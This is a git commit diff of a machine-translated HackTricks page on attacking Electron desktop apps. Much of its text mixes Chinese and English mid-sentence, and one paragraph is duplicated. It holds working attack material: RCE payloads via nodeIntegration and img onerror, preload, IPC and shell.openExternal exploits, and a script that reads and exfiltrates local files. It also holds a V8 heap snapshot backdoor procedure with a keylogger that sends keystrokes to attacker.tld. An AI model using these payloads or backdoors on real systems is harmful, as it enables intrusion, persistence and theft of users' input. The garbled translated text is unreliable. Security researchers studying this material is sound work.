Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:43:14 +00:00
parent 6833cda42a
commit 5b11fcca49

View File

@ -1,17 +1,17 @@
# Electron Desktop Apps
# Electron 桌面应用
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
Electron 将本地后端(使用 **NodeJS**)和前端(使用 **Chromium**)结合在一起,尽管它缺少现代浏览器的一些安全机制。
通常,您可能会在`.asar`应用程序中找到electron应用代码获取代码需要提取它
通常你可能会在 `.asar` 应用中找到 Electron 应用的代码,要获取这些代码你需要将其提取
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在 Electron 应用的源代码中,在 `packet.json` 文件内,可以找到指定的 `main.js` 文件,其中设置了安全配置。
在 Electron 应用的源代码中,在 `packet.json` 内,你可以看到指定了 `main.js` 文件,其中设置了安全配置。
```json
{
"name": "standard-notes",
@ -19,8 +19,8 @@ npx asar extract-file app.asar main.js #Extract just a file
```
Electron 有 2 种进程类型:
- 主进程(完全访问 NodeJS
- 渲染进程出于安全原因NodeJS 的访问应受到限制
- 主进程(完全访问 NodeJS
- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)
![](<../../../images/image (182).png>)
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中进行 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**
Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **阻止 Electron 应用程序 获取 RCE** or other vulnerabilities if the **设置正确配置**
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
The Electron application **能够访问设备** via Node apis although it can be configure to prevent it:
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 功能。
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。
- **`preload`** - 默认情况下为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程.
- **`contextIsolation`** - is `on` by default. If off, 主进程 and 渲染进程 aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframes 中的网页** 使用 **Node.js APIs**
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
- **`nodeIntegrationInSubframes`**- is `off` by default.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **加载在 iframes 中** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preload 会在 iframe 中加载
配置示例:
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
一些 **RCE payloads** 来自 [这里](https://7as.es/electron/nodeIntegration_rce.txt):
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -97,13 +97,14 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 捕获流量
修改 start-main 配置并添加使用代理,例如:
修改 start-main 配置并添加对 proxy 的使用,例如:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 本地代码注入
## Electron Local Code Injection
如果你能在本地执行一个 Electron App可能会让它执行任意的 javascript 代码。详见:
如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。查看如何操作:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方式是:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
在此设置中指示的脚本是在渲染器中**加载其他脚本之前**,因此它具有**对 Node API 的无限访问权限**
此设置中指定的脚本是 l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
因此,脚本可以将 node-features 导出到页面:
因此,脚本可以将 node-features 导出到页面:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,63 +149,66 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **如果 `contextIsolation` ,这将不起作用**
> [!NOTE] > **如果 `contextIsolation` 启用,则此方法无效**
## RCE: XSS + contextIsolation
_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
如果上下文没有被隔离,攻击者可以:
If the contexts aren't isolated an attacker can:
1. 在渲染器中执行 **任意 JavaScript**XSS 或导航到外部网站)
2. **覆盖内置方法**,该方法在预加载或 Electron 内部代码中被使用,替换为自己的函数
3. **触发** 使用 **被覆盖的函数**
4. RCE
1. Execute **在 renderer 中的任意 JavaScript** (XSS or navigation to external sites)
2. **覆盖内置方法**,该方法在 preload 或 Electron 内部代码中被使用以控制函数
3. **触发****被覆盖函数** 的调用
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 绕过点击事件
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
如果在点击链接时存在限制,你可能可以通过 **使用中键点击** 而非常规的左键点击 来绕过它们
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## RCE 通过 shell.openExternal
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
有关这些示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration``contextIsolation`正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止
在部署 Electron 桌面应用时,确保 `nodeIntegration``contextIsolation`设置正确至关重要。已经确定,当这些设置就位时,可以有效防止来自主进程、针对 preload 脚本或 Electron 原生代码的 **client-side remote code execution (RCE)**
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要:
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器被**桌面应用程序重写**以实现其自己的**业务逻辑**。该应用程序评估导航链接是否应在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数`openInternally`来做出。如果该函数返回`false`,则表示链接应在外部打开,利用`shell.openExternal`函数。
这些监听器**被桌面应用程序重写**以实现其自身的**业务逻辑**。应用程序会评估导航到的链接是应在应用内打开还是在外部 web 浏览器中打开。这个决定通常通过一个函数,`openInternally`,来做出。如果该函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。
**以下是简化的伪代码:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容因为这可能通过各种协议导致RCE。操作系统支持不同的协议这些协议可能触发RCE。有关此主题的详细示例和进一步解释可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042)其中包括能够利用此漏洞的Windows协议示例。
Electron JS 安全最佳实践建议不要通过 `openExternal` 函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议这些协议可能触发 RCE。有关此主题的详细示例和进一步说明可参阅 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含能够利用此漏洞的 Windows 协议示例。
在macos中`openExternal`函数可以被利用来执行任意命令,例如`shell.openExternal('file:///System/Applications/Calculator.app')`
macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`
**Windows协议漏洞的示例包括**
**Examples of Windows protocol exploits include:**
```html
<script>
window.open(
@ -226,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
此漏洞可以**[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
该 vuln 可**[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
**webviewTag** 是一个 **已弃用的特性**,允许在 **渲染进程** 中使用 **NodeJS**,应禁用,因为它允许在预加载上下文中加载脚本,如:
**webviewTag** 是一个 **deprecated feature**,允许在 **renderer process** 中使用 **NodeJS**。应将其禁用,因为它允许在 **preload context** 中加载脚本,例如:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
因此,成功加载任意页面的攻击者可以使用该标签来**加载任意预加载脚本**
因此,能够加载任意页面的攻击者可以使用该标签来 **load an arbitrary preload script**
然后,该预加载脚本被滥用以调用**易受攻击的IPC服务`skype-new-window`**,该服务调用**`shell.openExternal`**以获取RCE
随后,该 preload script 被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务正在调用调用 **`shell.openExternal`** 来获得 RCE
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -247,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## 读取内部文件XSS + contextIsolation
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
**禁用 `contextIsolation` 允许使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取并 leak 本地文件。下面的示例演示如何利用此漏洞读取内部文件的内容:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,分享了另一种 **读取内部文件** 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并外泄数据:
此外,还分享了另一种**读取内部文件**的方法,强调了 Electron desktop app 中的一个严重本地文件读取漏洞。该方法涉及注入脚本以利用应用并 exfiltrate 数据:
```html
<br /><br /><br /><br />
<h1>
@ -267,23 +271,27 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + 旧版 Chromium**
## **RCE: XSS + 过时的 chromium**
如果应用程序使用的 **chromium****旧版** 并且存在 **已知的** **漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**\
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
如果应用使用的 **chromium** 版本**过旧**,且存在已知的 **漏洞**,则可能通过 **XSS** **利用它并获得 RCE**。\\
你可以在这篇 **writeup** 中看到一个示例: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **通过内部 URL 正则绕过进行 XSS 钓鱼**
## **XSS Phishing通过 Internal URL regex bypass**
假设您发现了一个 XSS但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**
假设你发现了一个 XSS但你**无法触发 RCE 或窃取内部文件**,你可以尝试利用它**通过 phishing 窃取凭证**
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
首先,你需要了解当尝试打开一个新 URL 时会发生什么,可以通过检查前端的 JS 代码来确认:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
如果该函数使用的**regex**对绕过**漏洞**(例如**未转义子域的点**)是**脆弱的**攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**
在对 **`openInternally`** 的调用中,会决定该 **link** 是否作为属于平台的链接在 **desktop window****打开****or** 是否会在 **browser as a 3rd party resource** 中打开。
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
如果该函数使用的 **regex** 存在 **易于被绕过**(例如 **未对子域名中的点进行转义**),攻击者可以滥用 XSS 去 **打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户索取凭证**
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -291,21 +299,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` 协议
如 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 所述,运行在 **`file://`** 上的页面对您机器上的每个文件具有单方面访问权限,这意味着 **XSS 问题可以用来加载用户机器上的任意文件**。使用 **自定义协议** 可以防止此类问题,因为您可以将协议限制为仅提供特定文件集
如 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 所述,运行在 **`file://`** 上的页面对你机器上的每个文件都有单向访问权限,这意味着 **XSS 问题可被用来从用户机器加载任意文件**。使用 **自定义协议** 可以防止此类问题,因为你可以将协议限制为仅提供特定的一组文件
## 远程模块
## Remote module
Electron 远程模块允许 **渲染进程访问主进程 API**,促进 Electron 应用程序内的通信。然而,启用此模块会引入重大安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本 (XSS) 攻击等漏洞的影响。
The Electron Remote module 允许 **renderer processes 访问 main process APIs**,便于 Electron 应用内部通信。然而,启用此模块会引入重大的安全风险。它扩大了应用的攻击面,使其更容易受到诸如跨站脚本 (XSS) 攻击等漏洞的影响。
> [!TIP]
> 尽管 **remote** 模块暴露了一些从主进程到渲染进程的 API但仅仅滥用这些组件并不容易获得 RCE。然而这些组件可能会暴露敏感信息。
> 虽然 **remote** module 会将某些 API 从 main 暴露给 renderer processes但仅通过滥用这些组件并不容易直接获得 RCE。然而这些组件可能会暴露敏感信息。
> [!WARNING]
> 许多仍在使用远程模块的应用程序以 **需要在渲染进程中启用 NodeIntegration** 的方式进行,这是一种 **巨大的安全风险**
> 许多仍使用 remote module 的应用以需要在 renderer process 中启用 **NodeIntegration** 的方式使用它,这构成了**巨大的安全风险**
自 Electron 14 起,由于安全和性能原因Electron 的 `remote` 模块可能会在多个步骤中启用,因此 **建议不要使用它**
自 Electron 14 起,`remote` 模块可能仍可通过多个步骤启用,但出于安全和性能原因,**建议不要使用它**
要启用它,首先需要 **在主进程中启用它**
要启用它,首先需要**main process** 中启用
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -316,35 +324,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
然后,渲染进程可以从模块导入对象,例如
然后,渲染进程可以像下面这样从模块导入对象:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
该**[博客文章](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**指出了远程模块中对象**`app`**暴露的一些有趣的**函数**
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 指出 remote 模块中对象 **`app`** 暴露的一些有趣的 **函数**
- **`app.relaunch([options])`**
- **重新启动**应用程序,通过**退出**当前实例并**启动**一个新实例。对于**应用更新**或重大**状态变化**非常有用。
- **重启** 应用,通过 **退出** 当前实例并 **启动** 新实例。对 **app 更新** 或重要的 **状态变更**有用。
- **`app.setAppLogsPath([path])`**
- **定义**或**创建**一个目录以存储**应用日志**。可以使用**`app.getPath()`**或**`app.setPath(pathName, newPath)`**来**检索**或**修改**日志
- **定义****创建** 用于存储 **app logs** 的目录。日志可以通过 **`app.getPath()`** 或 **`app.setPath(pathName, newPath)`** 被 **检索****修改**
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **注册**当前可执行文件作为指定**协议**的**默认处理程序**。如果需要,可以提供**自定义路径**和**参数**
- **注册** 当前可执行文件为指定 **protocol****默认处理程序**。如有需要,可以提供 **自定义 path****arguments**
- **`app.setUserTasks(tasks)`**
- **添加**任务到**任务类别**中在Windows上。每个任务可以控制应用程序如何**启动**或传递什么**参数**。
- **将** 任务添加到 **Jump List****Tasks category**Windows。每个任务可以控制应用如何 **启动** 或传递哪些 **arguments**。
- **`app.importCertificate(options, callback)`**
- **导入**一个**PKCS#12证书**到系统的**证书存储**中仅限Linux。可以使用**回调**来处理结果。
- **导入** 一个 **PKCS#12 certificate** 到系统的 **certificate store**(仅 Linux。可以使用 **callback** 来处理结果。
- **`app.moveToApplicationsFolder([options])`**
- **移动**应用程序到**应用程序文件夹**在macOS上。帮助确保Mac用户的**标准安装**
- **将** 应用移动到 **Applications folder**macOS。有助于确保 Mac 用户的 **标准安装**
- **`app.setJumpList(categories)`**
- **设置**或**移除**一个**自定义Jump List**在Windows上。可以指定**类别**以组织任务如何呈现给用户
- **设置****移除** Windows 上的 **custom Jump List**。你可以指定 **categories** 来组织任务在用户界面中的显示方式
- **`app.setLoginItemSettings(settings)`**
- **配置**在**登录**时启动的**可执行文件**及其**选项**仅限macOS和Windows
- **配置** 哪些 **executables** 会在 **login** 时启动以及它们的 **options**(仅 macOS 和 Windows
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences 模块
在 Electron 中访问系统偏好设置和发出系统事件的 **主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的函数都是这个模块的 **一部分**
这是 Electron 中用于访问系统偏好并 **发出系统事件****主要 API**。诸如 **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault****setUserDefault** 等方法都 **属于** 该模块
**示例用法:**
```javascript
@ -361,50 +371,52 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **监听** **本机 macOS 通知**使用 NSDistributedNotificationCenter。
* 在 **macOS Catalina** 之前,您可以通过将 **nil** 传递给 CFNotificationCenterAddObserver 来嗅探 **所有** 分布式通知。
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** **许多事件**(例如,**屏幕锁定/解锁**、**卷挂载**、**网络活动**等)。
* **监听** 使用 NSDistributedNotificationCenter**原生 macOS 通知**
* 在 **macOS Catalina** 之前,可以通过向 CFNotificationCenterAddObserver 传递 **nil** 来嗅探 **所有** 分布式通知。
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** 许多事件(例如 **屏幕锁定/解锁**、**挂载卷**、**网络活动** 等)。
### **getUserDefault / setUserDefault**
* **与** **NSUserDefaults** **接口**,它在 macOS 上存储 **应用程序****全局** 偏好设置
* **NSUserDefaults** 交互NSUserDefaults 在 macOS 上存储 **应用****全局** 首选项
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近文件位置****用户的地理位置**
* **setUserDefault** 可以 **修改** 这些偏好设置,可能会影响应用的 **配置**
* **setUserDefault** 可以 **修改** 这些首选项,可能会影响应用的 **配置**
* 在 **旧版 Electron**v8.3.0 之前)中,仅 **标准套件** 的 NSUserDefaults 是 **可访问的**
* 在 **较旧的 Electron 版本**v8.3.0 之前),只有 NSUserDefaults 的 **standard suite** 可被访问
## Shell.showItemInFolder
此函数在文件管理器中显示给定文件,**可能会自动执行该文件**
此函数在文件管理器中显示给定文件,可能会**自动执行该文件**。
有关更多信息,请查看 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron 应用应具有 **内容安全策略 (CSP)****防止 XSS 攻击**。**CSP** 是一种 **安全标准**,有助于 **防止** 在浏览器中 **执行** **不受信任的代码**
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
它通常在 **`main.js`** 文件或 **`index.html`** 模板中通过 **meta 标签** 配置 CSP。
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
For more information check:
有关更多信息,请查看:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **工具**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个识别 Electron 基于应用程序中的配置错误和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用的开源 VS Code 插件,使用 Electronegativity。
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别基于 Electron 的应用中错误配置和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,针对 Electron 应用并使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
- [**Electro.ng**](https://electro.ng/): 您需要购买它
- [**Electro.ng**](https://electro.ng/): 需要购买
## 实验室
## Labs
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 中,您可以找到一个实验室来利用易受攻击的 Electron 应用
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 你可以找到一个用于利用易受攻击 Electron 应用的实验
一些将帮助您完成实验室的命令:
下面是一些在实验中对你有帮助的命令:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -427,14 +439,127 @@ cd vulnerable1
npm install
npm start
```
## **参考文献**
## 本地 backdooring 通过 V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron 和基于 Chromium 的应用在启动时会反序列化预构建的 V8 heap snapshotv8_context_snapshot.bin及可选的 browser_v8_context_snapshot.bin来初始化每个 V8 isolatemain、preload、renderer。历史上Electron 的 integrity fuses 并未将这些 snapshot 视为可执行内容,因此它们逃避了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在允许用户写入的安装目录中替换该 snapshot能够在不修改签名二进制或 ASAR 的情况下,在应用内提供隐蔽、持久的代码执行。
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar 验证 ASAR 内的应用 JavaScript但它们并不覆盖 V8 heap snapshotsCVE-2025-55305。Chromium 同样不对 snapshots 进行完整性校验。
- Attack preconditions: 本地文件写入到应用的安装目录。在 Electron 应用或 Chromium 浏览器安装在用户可写路径的系统上这很常见(例如 Windows 的 %AppData%\LocalmacOS 上的 /Applications 有一些注意事项)。
- Effect: 通过覆盖一个常用的 builtin一个“gadget”可以在任意 isolate 中可靠执行攻击者的 JavaScript从而实现持久化并规避代码签名校验。
- Affected surface: 从用户可写位置加载 snapshots 的 Electron 应用(即便启用了 fuses及基于 Chromium 的浏览器。
Generating a malicious snapshot without building Chromium
- 使用预构建的 electron/mksnapshot 将 payload JS 编译为 snapshot然后覆盖应用的 v8_context_snapshot.bin。
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- 主进程检测:仅在 Node 中可用的全局变量(如 process.pid、process.binding() 或 process.dlopen存在于主进程 isolate 中。
- 浏览器/渲染器 检测:仅在浏览器中可用的全局变量(如 alert在运行于 document 上下文时可用。
示例 gadget一次探测主进程 Node 能力
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
Renderer/browser-context 数据窃取 PoC例如 Slack
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
操作流程
1) 编写 payload.js用于覆写常见的 builtin例如 Array.isArray并可选择按 isolate 分支。
2) 在不包含 Chromium 源码的情况下构建 snapshot
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) 覆盖目标应用的 snapshot 文件:
- v8_context_snapshot.bin始终使用
- browser_v8_context_snapshot.bin如果使用了 LoadBrowserProcessSpecificV8Snapshot fuse
4) 启动应用;每当被选择的 builtin 被调用时gadget 会执行。
注释与注意事项
- Integrity/signature bypassSnapshot 文件在 code-signing 检查中不被视为本地可执行文件,并且(历史上)未被 Electron 的 fuses 或 Chromium 的 完整性 控制覆盖。
- Persistence在用户可写的安装目录中替换 snapshot 通常能在应用重启后保持,并且看起来像一个签名的合法应用。
- Chromium browsers相同的篡改概念适用于安装在用户可写位置的 Chrome/衍生版本。Chrome 有其他的完整性缓解措施,但明确将物理本地攻击排除在其威胁模型之外。
检测与缓解
- 将 snapshots 视为可执行内容并纳入完整性强制CVE-2025-55305 fix
- 优先使用仅管理员可写的安装位置;为 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希。
- 检测早期运行时 builtin 被覆写以及意外的 snapshot 变更;当反序列化的 snapshot 与预期不符时发出警报。
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
